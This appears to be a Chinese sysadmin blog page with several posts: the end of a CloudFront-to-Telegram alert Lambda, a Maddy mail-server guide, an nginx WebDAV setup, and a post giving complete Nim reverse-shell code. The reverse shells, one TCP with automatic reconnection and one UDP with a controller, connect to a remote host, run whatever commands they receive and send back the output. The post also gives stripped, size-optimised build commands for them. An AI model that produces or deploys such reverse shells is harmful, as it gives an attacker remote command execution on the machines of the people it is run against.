    send_telegram_message(bot_token,user_will_chat_id, "请注意CDN有攻击!!!")
    send_telegram_message(bot_token,user_will_chat_id, msg)

def send_telegram_message(bot_token, chat_id, message):
    bot_api_url = f"https://api.telegram.org/bot{bot_token}/sendMessage"
    http = urllib3.PoolManager()

    # 准备请求数据
    data = {
        'chat_id': chat_id,
        'text': message
    }

    # 发送 POST 请求到 Telegram 机器人 API
    msg_response = http.request('POST', bot_api_url, fields=data)
    
    # 根据响应内容判断是否成功发送消息
    if json.loads(msg_response.data.decode('utf-8'))['ok']:
        print(f"Message sent to chat {chat_id}: {message}")
    else:
        print(f"Failed to send message to chat {chat_id}")

        
def get_metrics(cloudwatch_client, distribution_id, metric_name, statistics):
    #获取当前时间和一小时前时间
    end_time = datetime.utcnow()
    start_time = end_time - timedelta(hours=1)

    #获取指定的metric
    response = cloudwatch_client.get_metric_statistics(
        Namespace='AWS/CloudFront',
        MetricName=metric_name,
        Dimensions=[
            {'Name': 'Region', 'Value': 'Global'},
            {'Name': 'DistributionId', 'Value': distribution_id}
        ],
        StartTime=start_time,
        EndTime=end_time,
        Period=3600,
        Statistics=statistics
    )

    # 提取并打印请求数统计数据
    datapoints = response['Datapoints']
    for datapoint in datapoints:
        value = datapoint[statistics[0]]
        return value

以上代码会读取所有 Cloudfront distribution , 并从 Cloudwatch 中获取请求数和总的错误率,并取前三,发送给 Telegram 机器人。

4.2 设置 Lambda 函数

4.2.1 设置 Lambda 函数的权限

找到默认的 Lambda role:

Lambda function --> Configuration --> Permissions -->Execution role --> Role name

在 IAM 中打开 Role name,选择 add permission ,添加 CloudFrontReadOnlyAccess 和 CloudWatchReadOnlyAccess 两个权限,保存即可

4.2.2 设置 Lambda 函数的Timeout

由于 Cloudfront 的 distribution 比较多,获取指标比较慢,Lambda 默认 3s 的超时时间比较短,需要增加到至少1分钟.

Lambda function --> Configuration --> General configuration --> Timeout

4.2.3 设置 Lambda 函数的环境变量

需要在环境变量中设置 Telegram 机器人的 token 和用户 id :

Lambda function --> Configuration -->Environment variables 

添加两个环境变量:BOT_TOKEN 和 CHAT_ID

五、 测试告警

设置好以上后,在 SNS 点击对应的 Topic ,然后选择 Publish message ,在 Message body 中随便输入点内容,点击 Publish message 即可,Telegram 就会收到通知了。

telegram-alert.png

nim语言实现跨平台反弹shell

在网上看到这个Nim语言,Python的语法,C的性能,还能跨平台,写了两个反弹shell玩了一下。

一、tcp 反弹shell,代自动重连功能

import net
import osproc
import os
import strutils

var ip = "server.nixops.me"
var port = 4444

var args = commandLineParams()

if args.len() == 2:
    ip = args[0]
    port = parseInt(args[1])

while true:
    var socket = newSocket()
    try:
        socket.connect(ip, Port(port))
        while true:
            try:
                socket.send(system.hostOS & "_" & system.hostCPU & "> ")
                var command = socket.recvLine()
                var result = execProcess(command,options = {poUsePath, poStdErrToStdOut, poEvalCommand, poDaemon})
                socket.send(result)
            except:
                socket.close()
                break
    except:
        sleep(10000)
        continue

以上是被控端代码,控制端使用nc监听4444等待连接即可。

二、udp反弹shell

2.1 udp server控制端

import os
import strutils
import netty

var ip = "0.0.0.0"
var port = 4444

var args = commandLineParams()

if args.len() == 2:
    ip = args[0]
    port = parseInt(args[1])

var server = newReactor(ip, port)
echo "Listenting for UDP on " & ip & ":" & intToStr(port)

while true:
  server.tick()
  for connection in server.newConnections:
    echo "[new] ", connection.address

  for connection in server.deadConnections:
    echo "[dead] ", connection.address

  for msg in server.messages:
    echo ">>> Receive Client MESSAGE: <<<", msg.data
    echo msg.data
    echo ">>> Client MESSAGE Finished !<<<"

  for connection in server.connections:
    var cmd = readLine(stdin)
    if cmd.len > 0:
      server.send(connection, cmd)
      echo ">>> Success Send Command: " & cmd & " TO:  ", connection.address

2.2 udp 客户被控端

import net
import osproc
import os
import strutils
import netty

var ip = "server.nixops.me"
var port = 4444

var args = commandLineParams()

if args.len() == 2:
    ip = args[0]
    port = parseInt(args[1])

while true:
    var client = newReactor()
    var c2s = client.connect(ip, port)
    client.send(c2s,"Hello from : " & system.hostOS & "_" & system.hostCPU & "! ")
    while true:
        try:
            client.tick()
            var command = ""
            for msg in client.messages:
                command.add(msg.data)

            if command.len > 0:
                var result = execProcess(command,options = {poUsePath, poStdErrToStdOut, poEvalCommand, poDaemon})
                client.send(c2s,result)
            if client.deadConnections.len > 0 :
                client.disconnect(c2s)
                break
        except:
            sleep(10000)
            continue

三、编译

nim c -d:danger -d:strip --opt:size tcp.nim
nim c -d:danger -d:strip --opt:size udpc.nim
nim c -d:danger -d:strip --opt:size udps.nim

四、总结

Nim优点: 好学、高性能、静态类型、跨平台、编译速度快
缺点也非常明显:生态比较差,标准库也不够完善,以上代码想用daemon方式运行就不行,标准库还没有实现

Maddy打造个人邮箱服务

Maddy Mail Server 是一个 GO 语言开发的 ALL-IN-ONE 邮件系统,实现了 Mail Transfer agent (MTA), Mail Delivery Agent (MDA), Mail Submission Agent (MSA), IMAP server 等,说人话就是可以替换 Postfix、Dovecot、Opendkim、OpenSPF、OpenDmarc 等传统软件,主要功能是通过 SMTP 发送和接收邮件,通过 IMAP 实现客户端访问,也支持 DKIM、SPF、DMARC、DANE、MTA-STS 等邮件相关的安全和反垃圾协议。对比配置传统软件,即使是像 MailCow、Mail-in-a-Box 等基于 docker 的现成方案,安装、配置也足够简单、开箱即用,可以说是懒人必备。

一、准备工作

需要准备以下:

  1. 域名 + nameserver
  2. 开放25端口的服务器,最好可以做ip反解析
  3. 干净的IP,可以通过 mxtoolbox 查询黑名单
  4. 邮件软件 maddy

二、安装及配置 Maddy mail server

2.1 下载和安装

建议使用 docker 安装 Maddy,安装和配置起来更简单。github release 中已经有编译好的各平台可执行文件, 也可以从 github 下载最新版解压使用:

wget  https://github.com/foxcpp/maddy/releases/download/v0.7.1/maddy-0.7.1-x86_64-linux-musl.tar.zst

zst 后缀需要安装 zstd 进行解压:

yum install zstd -y 
tar -I zstd -xvf  maddy-0.7.1-x86_64-linux-musl.tar.zst

解压之后的目录有5个文件,安装 Maddy:

mv maddy maddyctl /usr/local/bin/
mkdir /etc/maddy && mv maddy.conf /etc/maddy/
mv systemd/*.service /usr/lib/systemd/system/
mv man/*.1 /usr/share/man/man1/ && mv man/*.5 /usr/share/man/man5/

2.2 配置 maddy mail server

2.2.1 添加用户

官方不建议 root 权限运行,先添加一个不可登录的普通用户:

useradd -mrU -s /sbin/nologin  -c "maddy mail server" maddy

添加完用户,设置一下相关的目录及文件的权限:

chown -R maddy:maddy /usr/local/bin/maddy* /etc/maddy 

2.2.2 更改配置文件

默认配置文件在 /etc/maddy/maddy.conf ,里面已经有一个开箱即用的配置,只需修改几个参数即可使用。

$(hostname) = mx1.opswill.com mx2.opswill.com
$(primary_domain) = opswill.com
$(local_domains) = $(primary_domain)  other.domain.com

tls file /etc/maddy/certs/$(hostname)/fullchain.pem /etc/maddy/certs/$(hostname)/privkey.pem

state_dir /etc/maddy/state
runtime_dir /etc/maddy/runtime
log syslog /var/log/maddy.log

按需修改以上内容即可,如果创建的普通用户未指定 home 目录,配置文件中的 state_dir、runtime_dir 需先创建目录并给权限。

2.2.3 申请 ssl 证书

SMTPs 和 IMAPs 服务需要 TLS 证书,建议使用 Let's Encrypt 的泛域名证书,具体申请方法就不介绍了。

证书需放入 /etc/maddy/certs/$(hostname) 中,在配置文件中指定时,需先写公钥(.crt),在写私钥 (.key)

证书需设置一下权限:

sudo setfacl -R -m u:maddy:rX /etc/maddy/certs/

2.2.4 创建用户

maddy 使用虚拟用户,所以不像 postfix 和 dovecot 一样需要创建系统用户。maddy 需要创建登录账户和 IMAP 的本地存储账户,登录账户是 SMTP 和 IMAP 登录时的验证信息:

 maddyctl creds create will@opswill.com

创建本地储存账户:

maddyctl imap-acct create will@opswill.com

查看是否创建成功:

maddyctl  creds list
maddyctl  imap-acct  list

2.3 启动服务

以上全部做好后,即可启动服务:

systemctl daemon-reload
systemctl start maddy

正常启动后,会开放以下端口:

  • 25 SMTP Transfer->Exchange ClearText
  • 465 SMTPs User->Submission TLS
  • 587 ESMTP User->Submission ClearText/STARTTLS
  • 143 IMAP Delivery->User ClearText
  • 993 IMAPs Delivery->User TLS

防火墙放行:

firewall-cmd --permanent --add-port={25/tcp,465/tcp,587/tcp,143/tcp,993/tcp}
firewall-cmd --reload

从外网 telnet 验证一下服务器公网 IP 是否开放以上端口。尤其需注意25端口是否能够访问

服务器端就配置好了,可以用手机或 outlook 等客户端进行连接测试。接下来为了收发邮件,还需配置域名解析才行。

三、域名解析配置

无论邮箱系统用的什么软件,都绕不开邮件相关的域名解析,只要搞邮件就需配置以下域名解析:

  • MX记录 :域名系统基础记录,指向邮件服务器
  • PTR记录 :即IP反解析,根据IP反查域名,需供应商来做
  • SPF记录 :指定哪些服务器可以使用你的域名发送邮件
  • DKIM记录 :防止发送的电子邮件内容篡改
  • DMARC记录 :当SPF和DKIM验证失败时,指定接收方的处理策略并向指定邮箱报告

3.1 MX 记录

收发邮件时,mx 记录指定了自己的邮件服务器地址,可以设置优先级,建议2条以上 mx 记录

域名       类型   值           优先级
opswill.com mx  mx1.opswill.com  10
opswill.com mx  mx2.opswill.com  20 

设置对应MX子域名的记录:

mx1.opswill.com  A  1.1.1.1
mx2.opswill.com  A  2.2.2.2

设置好后使用dig命令验证一下:

dig  mx  opswill.com @1.1.1.1
dig  a  mx1.opswill.com @1.1.1.1
dig  a  mx2.opswill.com @1.1.1.1

3.2 PTR 记录

将域名映射到 IP 地址是正向解析,从 IP 地址到域名的映射就是反向解析,在公网上,反向解析无法由 DNS 提供,因为IP地址的管理权限属于运营商,所以需要向运营商申请添加反向解析,运营商通过 PTR(Pointer Record)记录将 IP 地址指向域名。邮件服务器IP不做PTR记录,发送邮件后会有很大概率被当成垃圾邮件。

联系供应商加好后,可以用 dig 命令验证:

dig -x 1.1.1.1

3.3 SPF 记录

SPF 全名是发件人策略框架,主要作用是将发信的邮件服务器和发信域名进行绑定,防止伪造发件人。在SPF记录中使用 TXT 记录指定允许发信的服务器,当对方收到邮件后,系统会验证发信域名并读取SPF记录中的IP,验证是否一致后采取进一步动作。

以谷歌SPF记录为例:

# dig txt gmail.com  
gmail.com.        300    IN    TXT    "v=spf1 redirect=_spf.google.com"
# dig txt _spf.google.com
_spf.google.com.    300    IN    TXT    "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
# dig txt _netblocks.google.com
_netblocks.google.com.    300    IN    TXT    "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

SPF记录以 v=spf1 开头,以 all 结尾,中间可以使用 ip4/ip6/a/mx/include/redirect 等关键字进行 ip 范围指定。SPF 记录的匹配机制会结合限定词来告诉服务器匹配记录时的动作。常见的限定词有:

  • + 放行,如果没有明确指定限定词,则为默认值。
  • - 硬拒绝,直接拒绝来自未经授权主机的邮件。
  • ~ 软拒绝,邮件可被接受,也可被标记为垃圾邮件。
  • ? 中性,不考虑邮件是否被接受。

个人邮件设置允许 mx 记录中的服务器发信即可,最终设置 SPF 记录为:

  opswill.com  txt  "v=spf1 mx -all"

3.4 DKIM 记录

DKIM 记录主要作用也是防止邮件被恶意篡改,保证邮件内容的完整性,使用的方式是与 SSL 类似,服务器产生一个公私钥对,私钥为每一封外发的邮件签名并在邮件头中插入 DKIM 签名(DKIM-Signature头),公钥则保存在域名的记录中,邮件接收方接收邮件时,通过 DNS 查询获得公钥,并使用公钥解密邮件签名, 从而验证邮件有效性和完整性。

Maddy 第一次启动后已经自动生成 DKIM 私钥和需添加的 dns 记录,位置在 state dir(/etc/maddy/state)下的 /dkim_keys/_default.dns 中,添加 txt 记录:

default._domainkey.opswill.com  txt  "v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0...省略..."

3.5 DMARC 记录

DMARC 基于现有的 SPF 和 DKIM 协议,并声明对验证失败邮件的处理策略。邮件接收方接收邮件时,首先通过 DNS 获取 DMARC 记录,再对邮件来源进行 SPF 验证和 DKIM 验证,对验证失败的邮件根据 DMARC 记录进行处理,并将处理结果反馈给发送方。

添加 DMARC 记录:

_dmarc.opswill.com  txt  "v=DMARC1; p=quarantine; ruf=mailto:report@ipip.dev"

p:reject 拒绝该邮件;none为不作处理;quarantine 标记为垃圾邮件。
ruf:检测到伪造邮件,接收方报告的邮箱地址

3.6 MTA-STS 和 TLS 报告

MTA-STS 是 MTA 严格传输安全协议,作用是确保发送给我们的电子邮件通过 TLS 安全地传输,防止中间人攻击。启用 MTA-STS 后,发送方邮件服务器只有在满足以下条件时,才会向我们发送邮件:

  • 使用有效的证书通过身份验证
  • 使用 TLS 1.2 或更高版本进行加密

当然如果发送方不支持 MTA-STS,仍然可以发送邮件(可能会有中间人攻击),主要是为了兼容。

启用 MTA-STS 所需条件:

  • 创建策略文件,并提供HTTPS方式访问
  • 通过DNS 设置txt记录,告诉其它邮件服务商支持MTA-STS

3.6.1 创建策略文件

策略文件 mta-sts.txt 的内容为:

version: STSv1
mode: enforce
mx: mx1.opswill.com
mx: mx2.opswill.com
max_age: 86400

创建子域名并启用 https ,最终的访问路径为:

https://mta-sts.opswill.com/.well-known/mta-sts.txt

3.6.2 配置 MTA-STS 的TXT记录

_mta-sts.opswill.com TXT “v=STSv1; id=20211031T010101;"

一般id为时间戳

3.6.3 启用 TLS 报告

和 DMARC 记录类似,启用 TLS 报告可以接受外部邮件服务器会发送以下内容:检测到的 MTA-STS 政策、流量统计信息、失败的连接以及无法发送的邮件等详细信息。

添加以下 txt 记录:

_smtp._tls.opswill.com     TXT     "v=TLSRPTv1;rua=mailto:sts-reports@opswill.com"

3.7 DNSSEC、DANE 及 CAA

启用了 MTA-STS 后,DANE 可以确保 TLS 证书是有效的,实际上是通过DNS的方式扮演了 CA 的角色。 DANE 通过 TLSA 记录,来声明某个证书的是可信的,由于 DANE 是基于 DNS 协议,可能会有被挟持的可能,因此需要启用 DNSSEC 来保障传输过程中不被修改。

  1. 启用 DNSSEC 需域名注册商及 dns 服务商都支持,在 DNS 服务商处选择开启 DNSSEC ,然后将提供的 DS 记录填写到域名注册商即可
  2. 使用 TLSA证书生成工具 及 PEM 格式的 TLS 证书生成 TLSA 记录
  3. 使用 CAA Record Helper生成的 CAA 记录

为了保障 TLS 证书安全:

  1. DNSSEC 保障 DNS 记录传输过程中的安全
  2. DANE 在客户端侧阻止不当签发的证书
  3. CAA 指定域名允许哪个证书颁发机构为其颁发证书

此步为加强安全性,有能力推荐启用配置

四、邮件通知到 Telegram

在 maddy.conf 中,找到 storage.imapsql local_mailboxes,添加一个 imap_filter :

storage.imapsql local_mailboxes {
    driver sqlite3
    dsn imapsql.db

    imap_filter {
       command /data/script/notice.sh  {sender} {original_rcpt_to} {subject}
   }
}

邮件通知的脚本内容:


#!/bin/bash

logfile=/data/log/notice.log

echo -e "\n$(date "+%Y-%m-%dT%H:%M:%S")  starting sending tg notice with args: $@" >>$logfile

input="$3"

if ! command -v curl &> /dev/null; then
    if ! apk add curl; then
        exit 1
    fi
fi


#bash判断是否为 Base64 编码
if [[ "$input" =~ =\?utf-8\?B\?(.*)\?= ]]; then
    encoded=${BASH_REMATCH[1]}
    sub=$(echo "$encoded" | base64 -d)
else
    sub=$input
fi

MailMsg="New Mail From $1 To $2, Subject: $sub"

curl -s -X POST "https://api.telegram.org/botIDxxxx:botSECRETxxxx/sendMessage" -d "chat_id=185854188&text=$MailMsg" >>$logfile

echo  -e "\n$(date "+%Y-%m-%dT%H:%M:%S") tg notice has sent" >>$logfile

五、总结

邮箱服务不只是系统配置烦琐、反垃圾、安全相关、及域名解析等的都很麻烦,如果使用传统的软件,其实不是很适合新手。虽然有一些基于 docker 或者脚本的现成方案,但真部署和调试起来也不容易。对比传统软件 Maddy mail server 安装和配置都足够简单,满足一个现代安全邮箱所需的功能,也有一定的扩展性,虽然比较新还不够成熟,但对个人友好,适合懒人党对可靠性要求不高的情况。

参考链接及有用的工具:

  1. https://mxtoolbox.com/
  2. https://www.mail-tester.com/
  3. https://aykevl.nl/apps/mta-sts/
  4. https://support.google.com/a/answer/10683907
  5. https://support.google.com/a/answer/2466563?hl=zh-Hans
  6. https://service.mail.qq.com/cgi-bin/help?id=16

nginx配置功能完整的webdav服务器

webdav可以通过HTTP协议对 Web 服务器进行文件读写,并支持文件的版本控制和写文件的加锁及解锁等操作,各平台都有客户端,支持的软件也多,对于没有复杂需求的跨平台网盘,是一个不错的选择。

一、所需模块

  1. ngx_http_dav_module: nginx自带模块,默认未启用,支持webdav的PUT、DELETE、 MKCOL、COPY、MOVE等基础的方法
  2. nginx-dav-ext-module: 提供了额外的PROPFIND、OPTIONS、LOCK、UNLOCK方法支持
  3. headers-more-nginx-module: IOS、windows等默认客户端使用COPY、MOVE等方法时,$http_destination中的URI没有带上"/",导致出现无法删除、重命名文件或文件夹等错误,该模块可以修复该错误,兼容更多的客户端
  4. ngx_http_auth_basic_module:提供基础的用户验证

二、安装依赖及编译

我用的是openresty,默认已经编译了headers-more-nginx-module,nginx默认就已经启用了ngx_http_auth_basic_module,所以编译时只需在原参数后启用http_dav_module及nginx-dav-ext-module及可,先解决openresty和nginx-dav-ext-module模块的依赖关系。

2.1 安装nginx-dav-ext-module 的依赖

dnf install libxml2  libxslt

2.2 安装 openresty 相关依赖

dnf install pcre-devel zlib-devel openssl-devel  gcc gcc-c++ make 

2.3 下载 openresty 和 nginx-dav-ext-module

wget https://openresty.org/download/openresty-1.19.9.1.tar.gz
git clone https://github.com/arut/nginx-dav-ext-module

2.4 编译 openresty

在原有的编译参数后启用 dav 相关的模块:

./configure --prefix=/opt/openresty/ --with-threads --with-http_ssl_module \
--with-http_v2_module --with-http_realip_module --with-http_addition_module \
--with-http_gunzip_module --with-http_gzip_static_module --with-http_auth_request_module \
--with-http_random_index_module --with-http_secure_link_module --with-http_degradation_module\ --with-http_slice_module --with-http_stub_status_module --with-stream --with-stream_ssl_module\ --with-stream_ssl_preread_module  --with-http_flv_module  --with-http_mp4_module \
--with-http_sub_module  --with-http_slice_module  --with-http_stub_status_module \
--with-http_dav_module  --add-module=../nginx-dav-ext-module/

三、配置nginx的dav模块

3.1 nginx配置文件

#在 http 段加入,mac 客户端需要启用锁支持
dav_ext_lock_zone zone=webdav:10m;

server {
    listen 80;
    listen 443 ssl http2;

    server_name 
          dav.nixops.me
          ;

    access_log logs/dav_access.log main;
    error_log  logs/dav_error.log;

    ssl_certificate  "/opt/openresty/nginx/conf/vhosts/keys/nixops.me.crt";
    ssl_certificate_key "/opt/openresty/nginx/conf/vhosts/keys/nixops.me.key";


    location / {

        #设置webdav目录,注意Nginx worker用户对该目录需有读写权限
        root /opt/webdav;

        auth_basic "Private Site";
        auth_basic_user_file /opt/openresty/nginx/conf/vhosts/dav.pass;

        charset utf-8;
        autoindex on;
        autoindex_localtime on;
        autoindex_exact_size off; 
        
        #不限制文件大小
        client_max_body_size 0;

        #启用完整的创建目录支持,默认情况下,Put 方法只能在已存在的目录里创建文件
        create_full_put_path  on;
        dav_access user:rw group:rw all:r;
        
        
        #为各种方法的URI后加上斜杠,解决各平台webdav客户端的兼容性问题
        set $dest $http_destination;
        if (-d $request_filename) {
            rewrite ^(.*[^/])$ $1/;
            set $dest $dest/;
        }

        if ($request_method ~ (MOVE|COPY)) {
            more_set_input_headers 'Destination: $dest';
        }

        if ($request_method ~ MKCOL) {
            rewrite ^(.*[^/])$ $1/ break;
        }

        #支持所有方法
        dav_methods PUT DELETE MKCOL COPY MOVE;
        dav_ext_methods PROPFIND OPTIONS LOCK UNLOCK;
        dav_ext_lock zone=webdav;
    }
}

3.2 设置webdav用户和密码

有两种方式,第一种使用openssl:

printf "nixops:$(openssl passwd      -crypt nixops.me)\n" >>/opt/openresty/nginx/conf/vhosts/dav.pass

第二种使用htpasswd命令,需要安装httpd-tools工具:

htpasswd -b -c /opt/openresty/nginx/conf/vhosts/dav.pass nixops nixops.me

经过以上配置,webdav就可以完美兼容mac、IOS(documents app)、windows及linux客户端了

四、测试

mac、IOS(documents app)、windows及linux客户端下连接webdav的方法就不介绍了。只说一下使用curl命令的测试方法,方便在shell脚本中使用webdav。

webdav支持以下方法:

  • OPTIONS : 检索服务
  • GET :获取文件
  • PUT、POST : 上传文件
  • DELETE : 删除文件或集合
  • COPY : 复制文件
  • MOVE : 移动文件
  • MKCOL : 创建由一个或多个文件 URI 组成的新集合
  • PROPFIND : 获取属性(创建日期、文件作者等),实现文件的查找与管理
  • LOCK、UNLOCK : 添加、删除文件锁,实现写操作保护

使用curl 测试时,URI后面一定要带'/',不然就会报错

创建目录:

curl -X MKCOL -u USER:PASSWORD https://dav.nixops.me/test/ 

上传文件:

curl -T FILE -u USER:PASSWORD  https://dav.nixops.me/test/

改名:

curl -X MOVE -u USER:PASSWORD --header 'Destination:https://dav.nixops.me/test/newname' https://dav.nixops.me/test/File 

删除:

curl -X DELETE -u USER:PASSWORD  https://dav.nixops.me/test/File 

五、其它的一些设置

Mac挂载webdav后会自动写入很多文件,可以通过nginx配置屏蔽掉,保持webdav目录的干净

location ~ \.(_.*|DS_Store|Spotlight-V100|TemporaryItems|Trashes|hidden|localized)$ {
    access_log  off;
    error_log   off;

    if ($request_method = PUT) {
        return 403;
    }
    return 404;
}

location ~ \.metadata_never_index$ {
    return 200 "Don't index this drive, Finder!";
}

参考文章:
http://www.weixueyuan.net/a/738.html
https://www.robpeck.com/2020/06/making-webdav-actually-work-on-nginx/

最新文章

最近回复

  • myogg: 您好,这个能不能将发...
  • 大青蛙子: 照着大佬的命令行复刻...
  • see: 把虚拟机平台下面其他...
  • see: 感觉是兼容性问题,我...
  • see: 做了。因为inter...
  • see: 遇到一个ipv6问题...
  • pluveto: 这功能很好
  • mgt: 从fail2ban的...
  • see: 设置容器 allo...
  • see: 本例子中的上游是 d...

分类

归档

统计

  • 文章总数:168篇
  • 分类总数:5个
  • 评论总数:129条
  • 页面总数:172个
  • 本站运行:5073天

其它